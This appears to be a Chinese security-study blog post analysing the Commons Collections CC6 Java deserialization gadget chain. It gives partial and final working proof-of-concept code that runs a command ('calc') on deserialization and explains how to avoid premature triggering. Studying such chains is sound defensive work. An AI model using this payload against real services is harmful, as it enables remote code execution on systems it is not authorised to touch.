前文分析到CC1会受到JDK和Commons Collections版本限制,CC6优势在于绕过JDK 8u71-8u202版本限制,8u_202以上的版本还可以配合fastjson利用,Commons Collections 利用范围也较广,因此它是最好用的CC链。

版本切换

jdk版本用jdk8u71,反编译用openJDK,它的搭建在CC1已经介绍了,这里不再介绍,之前搭建过的可以直接切换版本

CC6反序列化利用链分析

JDK_8u71把AnnotationInvocationHandler类给限制住了,LazyMap和InvokerTransformer还可以继续用,只需要找到能够调用LazyMa的get()方法的类即可。

先把LazyMap和InvokerTransformer的POC写下来,和CC1是一样的。

1
2
3
4
5
6
7
8
9
10
Transformer[] transformers = new Transformer[]{  
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map decorateLazyMap = LazyMap.decorate(hashMap,chainedTransformer);

TiedMapEntry

TiedMapEntry.getValue()方法调用了get()方法

然后看一下map.get的map是什么,可以在这个类搜索一下。

在该类的构造方法中找到了map,后续把LazyMap传进去就行了

不过还需要找一下谁可以调用getValue,先在该类搜索一下,如果没有再去其他类找

在该类发现hashCode()方法中调用了getValue()

HashMap类

HashCode()方法已经很熟悉了,在分析[URLDNS利用链](Java反序列化系列漏洞00篇-URLDNS链详解 | jjxxx)时其中的HashMap已经用到过了,跟进HashMap回忆一下

可以看到HashMap的readobject()方法中调用了put,put又调用了hash(),跟进hash()

hash方法中调用了hashCode(),我们只需要把key改为TiedMapEntry即可

到此这条链的大概已经说完了,还有一些细节上的问题,先写一个半成品POC。

半成品POC

代码的解读依旧在注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws IOException, ClassNotFoundException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map decorateLazyMap = LazyMap.decorate(hashMap,chainedTransformer);

//调用LazyMap的get方法 (decorateLazyMap是构造方法中的map,第二个是key)
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateLazyMap, "hello");


//调用TiedMapEntr的hashCode
HashMap<Object,Object> hashMap1 = new HashMap<>();
//因为是key.hashCode因此需要把tiedMapEntry当作map的key传入,value随便写
hashMap1.put(tiedMapEntry,"jjxxx");

// serialize(hashMap1);
unserialize("ser.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

hashMap1.put(tiedMapEntry,"jjxxx");把tiedMapEntry当作key传入后,把整个链序列化,当反序列化该链时,就会调用HashMap的readobject方法,hashMap1就会被读取同时会调用putVal(hash(key), key, value, false, false);,此时key就是我们传进去的tiedMapEntry,进而触发整个利用链。

但是发现了一个问题,再对该链序列化时,POC本身会有一个hashMap1.put(tiedMapEntry,"jjxxx"); 的put方法,这会提前触发利用链导致生成的序列化链无法利用,因此需要找到解决方法。

put提前触发问题解决

先回忆一下当时URLDNS链对这个问题的解决办法,当时大概是把 getHostAddress的方法是一个静态方法,我们把getHostAddress方法重写了一下让它返回为空,这样在序列化时就不会发起DNS请求影响判断结果。

接下来看CC6的解决方法。

第一个问题

使用上方的poc时,我们的本意是让该链在反序列化时HashMap的readobject方法调用put进而触发利用链,但是由于hashMap1.put(tiedMapEntry,"jjxxx"); 的原因,它会在序列化时就会触发利用链执行命令,执行完之后会失去原有的结构

(通俗的说就是我们提前构造好了一个炸弹,还没扔出去呢put了一下就炸了)

因此我们需要在hashMap1.put(tiedMapEntry,"jjxxx");时先把factory改为其他值(阻止爆炸),在它的代码下(hashMap1.put后)再通过反射将factory(作用域protected因此用反射修改值)的值再改为我们需要的chainedTransformer;

第二个问题

在序列化时key在map中不存在可以进入if条件,但是走到map.put(key, value);时,会把我们写的key存入map中,这会导致在反序列化时key已经存在进不了if条件,从而执行不了chainedTransformer.transform()

解决方法就是,在序列化时与hashMap1.put(tiedMapEntry,"jjxxx");之后再把map中的key删除。

最终POC

解决上方问题,完善POC

代码解读还是写在了源码的注释中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package CC1demo;  

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6Test {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap hashMap = new HashMap();
Map decorateLazyMap = LazyMap.decorate(hashMap,new ConstantTransformer(111));

//调用LazyMap的get方法
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorateLazyMap, "hello");


//反序列化时,hashMap1会被读取并被putval调用hash方法进而调用TiedMapEntr的hashCode
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(tiedMapEntry,"jjxxx");

//删除map中的key
decorateLazyMap.remove("hello");

//反射修改factory的值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorateLazyMap,chainedTransformer);

// serialize(hashMap1);
unserialize("1.bin");

}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}

}

序列化走到LazyMap时

反序列化时

命令成功执行

流程图

总结

感觉只要把CC1理解了,再去学其他链时就很好理解了,这条链唯一需要思考一下的就是put提前触发的问题,把这个理解了整条连就没有难的了。